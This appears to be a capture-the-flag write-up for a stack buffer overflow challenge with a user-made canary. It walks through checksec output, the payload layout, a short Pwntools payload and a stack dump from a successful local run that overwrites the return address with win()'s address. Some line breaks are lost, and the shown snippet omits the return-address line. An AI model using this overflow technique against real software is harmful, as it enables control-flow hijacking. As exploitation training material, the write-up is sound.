This challenge is a step above the Buffer Overflow challenge. This challenge introduces a canary. A canary is a randomly generated value that is placed on the stack to combat stack smashing. At the end of the function, the canary ensures its value has not changed; if it has, it immediately crashes the program.
This challenge will demonstrate a false canary, or a canary that's user-generated. Checking checksec, it confirms there's no compiler-generated canary:
checksec chall[*] './chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: NoOur goal is to still overflow the buffer and overwrite the return address to win()'s address, but we also need to not modify the canary. This changes our payload to the following format:
[ padding to canary | canary | padding to ret | retaddr ]When we write this payload, I recommend using two different values for the different paddings. In this case, we'll use A for the first padding and B for the second. Based on the diagram, we see we must write 32 A's to reach the canary, and 16 B's after the canary to reach the return address.
Let's use Pwntools to write this payload:
1payload = b'A' * 32
2payload += p64(0xb7c97a00)
3payload += b'B' * 16
4If we run this, we see we successfully do not change the canary while still modifying the return pointer and jumping to win()!
python3 solution.py[+] Starting local process './chall': pid 10103[*] Switching to interactive modeYour goal is to modify the return pointer @ 0x7ffce27b0748to a function called win() in the binary.0x7ffce27b0710: 0x0000000000000000 0x00000000000000000x7ffce27b0720: 0x0000000000000000 0x00007f85a04aa6000x7ffce27b0730: 0x00000000b7c97a00 0x00000000000000000x7ffce27b0740: 0x0000000000000001 0x00007f85a02aeca8However, this program has protection. You must notmodify the canary (0x00000000b7c97a00) @ 0x7ffce27b0730 when writingyour payload. You must append the canary's value at the relativeposition in the payload.Enter input:0x7ffce27b0710: 0x4141414141414141 0x41414141414141410x7ffce27b0720: 0x4141414141414141 0x41414141414141410x7ffce27b0730: 0x00000000b7c97a00 0x42424242424242420x7ffce27b0740: 0x4242424242424242 0x00000000004014e0